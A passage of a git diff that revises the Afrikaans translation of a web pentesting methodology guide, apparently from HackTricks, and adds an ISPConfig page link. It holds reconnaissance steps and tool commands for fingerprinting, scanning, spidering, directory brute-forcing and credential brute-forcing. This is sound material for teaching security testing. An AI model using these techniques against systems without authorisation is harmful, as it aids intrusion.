diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5d6679535..ccaa8f2fe 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -432,6 +432,7 @@ - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) - [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md) - [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md) + - [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md) - [JBOSS](network-services-pentesting/pentesting-web/jboss.md) - [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md) - [Joomla](network-services-pentesting/pentesting-web/joomla.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 2ecdd460b..1741a52c0 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,9 +4,9 @@ ## Basiese Inligting -Die webdiens is die mees **gewone en uitgebreide diens** en 'n baie **verskillende tipes kwesbaarhede** bestaan. +Die webdiens is die mees **algemene en omvattende diens** en daar bestaan baie **verskillende tipes kwesbaarhede**. -**Standaard poort:** 80 (HTTP), 443(HTTPS) +**Standaardpoort:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -26,46 +26,46 @@ web-api-pentesting.md ## Metodologie opsomming -> In hierdie metodologie gaan ons veronderstel dat jy 'n domein (of subdomein) gaan aanval en net dit. So, jy moet hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met 'n onbepaalde webbediener binne die omvang. +> In hierdie metodologie gaan ons aanvaar dat jy 'n domein (of subdomein) gaan aanval en slegs daardie. Pas dus hierdie metodologie toe op elke ontdekte domein, subdomein of IP met 'n ongedetermineerde webserver binne die omvang. -- [ ] Begin met **identifisering** van die **tegnologieë** wat deur die webbediener gebruik word. Soek na **tricks** om in gedagte te hou tydens die res van die toets as jy die tegnologie suksesvol kan identifiseer. -- [ ] Enige **bekende kwesbaarheid** van die weergawe van die tegnologie? -- [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek? -- [ ] Enige **gespesialiseerde skandeerder** om te loop (soos wpscan)? -- [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind nie. -- [ ] Begin met die **aanvanklike kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (as HTTPS). -- [ ] Begin met **spidering** van die webblad: Dit is tyd om **te vind** al die moontlike **lêers, vouers** en **parameters wat gebruik word.** Kyk ook vir **spesiale bevindings**. -- [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet gespider word._ -- [ ] **Gids Brute-Forcing**: Probeer om al die ontdekte vouers te brute-force terwyl jy soek na nuwe **lêers** en **gidses**. -- [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet Brute-Forced word._ -- [ ] **Backups kontrole**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup uitbreidings by te voeg. -- [ ] **Brute-Force parameters**: Probeer om **versteekte parameters** te **vind**. -- [ ] Sodra jy alle moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, **geïdentifiseer** het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou. -- [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Begin deur die **tegnologieë** wat deur die webserver gebruik word, te **identifiseer**. Soek vir **truuks** om in gedagte te hou gedurende die res van die toets as jy die tech suksesvol kan identifiseer. +- [ ] Is daar enige **bekende vulnerability** van die weergawe van die tegnologie? +- [ ] Word enige **well known tech** gebruik? Enige **useful trick** om meer inligting te onttrek? +- [ ] Is daar enige **specialised scanner** om te gebruik (soos wpscan)? +- [ ] Begin met **general purposes scanners**. Jy weet nooit of hulle iets gaan vind of interessante inligting gaan blootlê nie. +- [ ] Begin met die **initial checks**: **robots**, **sitemap**, **404** error en **SSL/TLS scan** (as HTTPS). +- [ ] Begin **spidering** van die webblad: Dit is tyd om alle moontlike **files, folders** en **parameters being used** te **vind**. Kontroleer ook vir **special findings**. +- [ ] _Let daarop dat enige tyd 'n nuwe directory tydens brute-forcing of spidering ontdek word, dit gespidered moet word._ +- [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**. +- [ ] _Let daarop dat enige tyd 'n nuwe directory tydens brute-forcing of spidering ontdek word, dit Brute-Forced moet word._ +- [ ] **Backups checking**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup-uitbreidings by te voeg. +- [ ] **Brute-Force parameters**: Probeer om **hidden parameters** te vind. +- [ ] Sodra jy alle moontlike **endpoints** wat **user input** aanvaar **identified** het, kontroleer vir alle soorte **vulnerabilities** wat daarmee verband hou. +- [ ] [Volg hierdie checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## Bediener Weergawe (Kwetsbaar?) +## Server Version (Kwetsbaar?) ### Identifiseer -Kyk of daar **bekende kwesbaarhede** is vir die bediener **weergawe** wat loop.\ -Die **HTTP koppe en koekies van die antwoord** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word te **identifiseer**. **Nmap skandering** kan die bediener weergawe identifiseer, maar dit kan ook nuttig wees om die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)of [**https://builtwith.com/**](https://builtwith.com)**:** +Kontroleer of daar **known vulnerabilities** is vir die server **version** wat loop.\ +Die **HTTP headers** en **cookies** van die response kan baie nuttig wees om die **tegnologieë** en/of **version** wat gebruik word te **identify**. **Nmap scan** kan die server version identifiseer, maar dit kan ook nuttig wees om die tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) of [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Search **vir** [**kwesbaarhede van die webtoepassing** **weergawe**](../../generic-hacking/search-exploits.md) +Soek **na** [**kwesbaarhede van die webtoepassing** **weergawe**](../../generic-hacking/search-exploits.md) -### **Kontroleer of enige WAF** +### **Kyk of daar 'n WAF is** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web tegnologie truuks +### Web-tegnologie truuks -Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **tegnologieë** wat gebruik word: +Sommige **truuks** om **kwesbaarhede te vind** in verskillende bekende **tegnologieë** wat gebruik word: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -77,8 +77,9 @@ Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **t - [**Git**](git.md) - [**Golang**](golang.md) - [**GraphQL**](graphql.md) -- [**H2 - Java SQL databasis**](h2-java-sql-database.md) -- [**IIS truuks**](iis-internet-information-services.md) +- [**H2 - Java SQL database**](h2-java-sql-database.md) +- [**ISPConfig**](ispconfig.md) +- [**IIS tricks**](iis-internet-information-services.md) - [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**JBOSS**](jboss.md) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) @@ -88,7 +89,7 @@ Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **t - [**Laravel**](laravel.md) - [**Moodle**](moodle.md) - [**Nginx**](nginx.md) -- [**PHP (php het 'n paar interessante truuks wat uitgebuit kan word)**](php-tricks-esp/index.html) +- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html) - [**Python**](python.md) - [**Spring Actuators**](spring-actuators.md) - [**Symphony**](symphony.md) @@ -98,21 +99,21 @@ Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **t - [**WebDav**](put-method-webdav.md) - [**Werkzeug**](werkzeug.md) - [**Wordpress**](wordpress.md) -- [**Electron Desktop (XSS na RCE)**](electron-desktop-apps/index.html) +- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_Hou in gedagte dat die **selfde domein** **verskillende tegnologieë** in verskillende **poorte**, **mappies** en **subdomeine** kan gebruik._\ -As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is** of **enige ander** gebruik, moenie vergeet om **op die Internet** na nuwe truuks te **soek** (en laat weet my!). +_Neem in ag dat dieselfde **domein** verskillende **tegnologieë** op verskillende **porte**, **gidse** en **subdomeine** kan gebruik._\ +As die webtoepassing enige bekende **tegnologie/platform wat hierbo gelys is** of **enige ander** gebruik, moenie vergeet om op die Internet na nuwe truuks te **soek** (en laat my weet!). -### Bronkode Hersiening +### Bronkode hersiening -As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om 'n **White box toets** van die toepassing self uit te voer, is daar **sekere inligting** wat **nuttig** kan wees vir die huidige **Black-Box toetsing**: +As die **bronkode** van die toepassing in **github** beskikbaar is, behalwe om self 'n White box test van die toepassing uit te voer, is daar **inligting** wat nuttig kan wees vir die huidige **Black-Box testing**: -- Is daar 'n **Veranderingslog of Readme of Weergawe** lêer of enigiets met **weergawes inligting toeganklik** via die web? -- Hoe en waar word die **akkrediteer** gestoor? Is daar enige (toeganklike?) **lêer** met akkrediteer (gebruikersname of wagwoorde)? -- Is **wagwoorde** in **platte teks**, **geënkripteer** of watter **hashing algoritme** word gebruik? -- Gebruik dit enige **meester sleutel** om iets te enkripteer? Watter **algoritme** word gebruik? -- Kan jy **toegang tot enige van hierdie lêers** verkry deur 'n kwesbaarheid te benut? -- Is daar enige **interessante inligting in die github** (opgeloste en nie-opgeloste) **kwessies**? Of in **commit geskiedenis** (miskien 'n **wagwoord wat in 'n ou commit ingevoer is**)? +- Is daar 'n **Change-log or Readme or Version** lêer of enigiets met **weergawe-inligting toeganklik** via die web? +- Hoe en waar word die **credentials** gestoor? Is daar enige (toeganklike?) **lêer** met credentials (gebruikersname of wagwoorde)? +- Is die **passwords** in **plain text** of **encrypted**, en watter **hashing algorithm** word gebruik? +- Gebruik dit enige **master key** om iets te enkripteer? Watter **algorithm** word gebruik? +- Kan jy deur 'n kwesbaarheid uit te buit toegang tot enige van hierdie **lêers** kry? +- Is daar enige **interessante inligting in die github** (opgelos en nie-opgelos) **issues**? Of in die **commit history** (miskien 'n **password** wat in 'n ou commit ingevoeg is)? {{#ref}} @@ -133,12 +134,12 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS scanners +#### CMS skandeerders -As 'n CMS gebruik word, moenie vergeet om **'n skandeerder te loop'**, dalk word iets sappigs gevind: +As 'n CMS gebruik word, moenie vergeet om **'n skandeerder te laat loop** nie — dalk word iets sappigs gevind: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir Sekuriteitskwessies. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir sekuriteitskwessies. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **of** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -148,45 +149,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Op hierdie punt behoort jy reeds 'n paar inligting oor die webbediener wat deur die kliënt gebruik word te hê (indien enige data gegee is) en 'n paar truuks om in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n skandeerder laat loop. +> Op hierdie stadium behoort jy reeds sekere inligting te hê oor die webbediener wat deur die kliënt gebruik word (as enige data gegee is) en 'n paar truuks om in gedagte te hou tydens die toets. As jy gelukkig is het jy selfs 'n CMS gevind en 'n scanner uitgevoer. -## Stap-vir-stap Webtoepassing Ontdekking +## Stap-vir-stap Webtoepassingsontdekking -> Vanaf hierdie punt gaan ons begin om met die webtoepassing te kommunikeer. +> Vanaf hierdie punt gaan ons begin om met die webtoepassing te interakteer. -### Begin kontrole +### Aanvanklike kontroles -**Standaard bladsye met interessante inligting:** +**Standaardbladsye met interessante inligting:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Kontroleer ook kommentaar in die hoof- en sekondêre bladsye. +- Kyk ook na kommentaar in die hoof- en sekondêre bladsye. -**Dwing foute** +**Foute afdwing** -Webbedieners mag **onverwagte** gedrag vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**. +Webbedieners kan **onvoorspelbaar optree** wanneer vreemde data na hulle gestuur word. Dit kan **vulnerabilities** of **disclosure sensitive information** openbaar. -- Toegang tot **valse bladsye** soos /whatever_fake.php (.aspx,.html,.ens) -- **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes by om foute te skep -- Genereer 'n fout deur insette te gee as **`/~randomthing/%s`** aan die **einde** van die **URL** -- Probeer **verskillende HTTP Werkwoorde** soos PATCH, DEBUG of verkeerd soos FAKE +- Kry toegang tot **vals bladsye** soos /whatever_fake.php (.aspx,.html,.etc) +- **Voeg "\[]", "]]", en "\[\["** in **cookie values** en **parameter** values om foute te veroorsaak +- Genereer 'n fout deur invoer te gee as **`/~randomthing/%s`** aan die **end** van die **URL** +- Probeer **verskillende HTTP Verbs** soos PATCH, DEBUG of foutiewe soos FAKE -#### **Kontroleer of jy lêers kan oplaai (**[**PUT werkwoord, WebDav**](put-method-webdav.md)**)** +#### **Kyk of jy lêers kan oplaai (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **lêers** in die wortelgids op te laai nie, probeer om: +As jy vind dat **WebDav** **geaktiveer** is maar jy nie genoeg toestemmings het vir **uploading files** in die wortelmap nie, probeer om: -- **Brute Force** akrediteer -- **Lêers op te laai** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai. +- **Brute Force** credentials +- **Upload files** via WebDav na die res van die **found folders** binne die webblad. Jy mag permissies hê om lêers in ander vouers op te laai. ### **SSL/TLS kwesbaarhede** -- As die toepassing **nie die gebruiker van HTTPS dwing** nie, is dit **kwesbaar vir MitM** -- As die toepassing **sensitiewe data (wagwoorde) via HTTP stuur**. Dan is dit 'n hoë kwesbaarheid. +- As die toepassing **nie die gebruiker na HTTPS dwing** in enige deel nie, is dit kwesbaar vir MitM +- As die toepassing **gevoelige data (wagwoorde) via HTTP stuur**. Dan is dit 'n hoë kwesbaarheid. -Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om na **kwesbaarhede** te kyk (In Bug Bounty programme sal hierdie tipe kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die kwesbaarhede weer te kontroleer: +Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kontroleer vir **vulnerabilities** (In Bug Bounty programs waarskynlik hierdie soort vulnerabilities nie aanvaar sal word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv)om die vulnerabilities weer te kontroleer: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -195,65 +196,65 @@ Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om na **kwesbaa sslscan sslyze --regular ``` -Inligting oor SSL/TLS kwesbaarhede: +Information about SSL/TLS vulnerabilities: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel moontlike paaie te vind** vanaf die getoetste toepassing. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind. +Launch some kind of **spider** inside the web. The doel van die **spider** is om **soveel paaie as moontlik te vind** van die getoetste toepassing. Daarom moet web crawling en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS-lêers en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS-lêers en Archive.org as eksterne bron. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS files en Archive.org as eksterne bron. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan. -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook in Archive.org. -- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar dit kan nuttig wees. Jy kan net 'n lêer met hosts en 'n lêer met paaie aandui en meg sal elke pad op elke host haal en die antwoord stoor. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS-rendering vermoëns. Dit lyk egter of dit nie meer onderhou word nie, die voorafgecompileerde weergawe is oud en die huidige kode compileer nie. -- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne verskaffers gebruik (wayback, otx, commoncrawl). -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URL's met parameters vind en dit lys. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS-rendering vermoëns. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat in staat is om nuwe paaie in JS-lêers te soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron en ingebedde javascript-lêers te onttrek. Nuttig vir foutjagters, rooi spanlede, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te parse. Nuttig om AJAX-versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van slim regulêre uitdrukkings om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie hulpmiddels): Verskaf interessante inligting uit JS-lêers met behulp van verskeie hulpmiddels. -- [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless-browsers en druk al die URL's wat gelaai is om die bladsy te laai. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoud ontdekking hulpmiddel wat verskeie opsies van die vorige hulpmiddels meng. -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp-uitbreiding om paaie en params in JS-lêers te vind. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegewe die .js.map URL die beautified JS-kode sal kry. -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dit is 'n hulpmiddel wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback-masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms in te vul) en vind ook sensitiewe inligting met behulp van spesifieke regexes. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Crawler/Spider ontwerp vir kuberveveiliging professionele. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go-pakket en [opdraglyn hulpmiddel](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URL's, paaie, geheime en ander interessante data uit JavaScript-bronkode te onttrek. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite-uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Wonderlike hulpmiddel hiervoor. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke skakel wat dit kan vind. +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Soek ook in Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie tool is nie 'n spider nie maar kan nuttig wees. Jy kan 'n lêer met hosts en 'n lêer met paths aandui en meg sal elke path op elke host haal en die response stoor. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS rendering vermoëns. Dit lyk egter ononderhou, die voorafgekompileerde weergawe is oud en die huidige kode kompileer nie. +- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne providers gebruik (wayback, otx, commoncrawl). +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie script sal URLs met parameters vind en dit lys. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS rendering vermoëns. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat nuwe paaie in JS files kan soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om endpoints te onttrek in beide HTML bron en ingeslote javascript-lêers. Nuttig vir bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n python 2.7 script wat Tornado en JSBeautifier gebruik om relatiewe URLs uit JavaScript files te parse. Nuttig om AJAX requests maklik te ontdek. Lyk ononderhou. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URLs daaruit onttrek met 'n slim regex om relatiewe URLs uit geminifiseerde lêers te kry. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie tools): Versamel interessante inligting uit JS files met verskeie tools. +- [**subjs**](https://github.com/lc/subjs) (go): Vind JS files. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die urls wat gelaai is om die bladsy te laai. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool wat verskeie opsies van die vorige tools kombineer. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp extension om paaie en params in JS files te vind. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n tool wat, gegewe die .js.map URL, die beautified JS kode kry. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 'n tool wat gebruik word om endpoints vir 'n gegewe target te ontdek. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek links vanaf die wayback machine (laai ook responses af in die wayback en soek meer links). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (selfs deur vorms in te vul) en vind ook sensitiewe info met spesifieke regexes. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-feature GUI web security Crawler/Spider ontwerp vir cyber security professionals. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 'n Go package en [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) vir die onttrekking van URLs, paths, secrets, en ander interessante data uit JavaScript source code. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite extension** om **parameters en endpoints te onttrek** vanaf requests om custom wordlists vir fuzzing en enumerasie te skep. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Fantastiese tool hiervoor. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke link wat dit kan vind. ### Brute Force directories and files -Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **ggevonde directories** te brute-force met **hierdie metode** en alle directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en die name van die gevonde directories aan die begin van die gebruikte woordlys voeg).\ -Hulpmiddels: +Start **brute-forcing** from the root folder en maak seker om **al** die **directories wat gevind is** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan dit **rekursief** brute-force en by die begin van die gebruikte woordlys die name van die gevonde directories voeg).\ +Tools: -- **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomaties onderteken sertifikate toe en rekursiewe soektog. Te stadig in vergelyking met die ander opsies. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit laat nie outomaties onderteken sertifikate toe nie, maar** laat rekursiewe soektog toe. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dit laat outomaties onderteken sertifikate toe, dit **het nie** **rekursiewe** soektog nie. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinning, ondersteun rekursiewe soektog.** +- **Dirb** / **Dirbuster** - Inklusief in Kali, **oud** (en **stadig**) maar funksioneel. Laat self-gesertifiseerde sertifikate toe en rekursiewe soektog. Te stadig vergelyk met die ander opsies. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit laat nie self-gesertifiseerde sertifikate toe nie maar** laat rekursiewe soektog toe. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dit laat self-gesertifiseerde sertifikate toe, dit **het nie** rekursiewe soektog nie. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` -- [**ffuf** ](https://github.com/ffuf/ffuf)- Vinning: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegewe die lys van gevonde URL's sal "gedupliseerde" URL's verwyder. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-uitbreiding om 'n lys van directories uit die burp geskiedenis van verskillende bladsye te skep. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksies (gebaseer op js imports). -- [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies. +- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` +- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie maar 'n tool wat, gegewe 'n lys van gevonde URLs, "gedupliseerde" URLs sal verwyder. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension om 'n lys directories te skep vanaf die burp history van verskillende bladsye. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URLs met gedupliseerde funksionaliteite (gebaseer op js imports). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Gebruik wapalyzer om gebruikte tegnologieë te ontdek en kies die woordlyste om te gebruik. -**Aanbevole woordlyste:** +**Recommended dictionaries:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) -- [**Dirsearch** ingeslote woordlys](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) +- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) -- [Assetnote woordlyste](https://wordlists.assetnote.io) +- [Assetnote 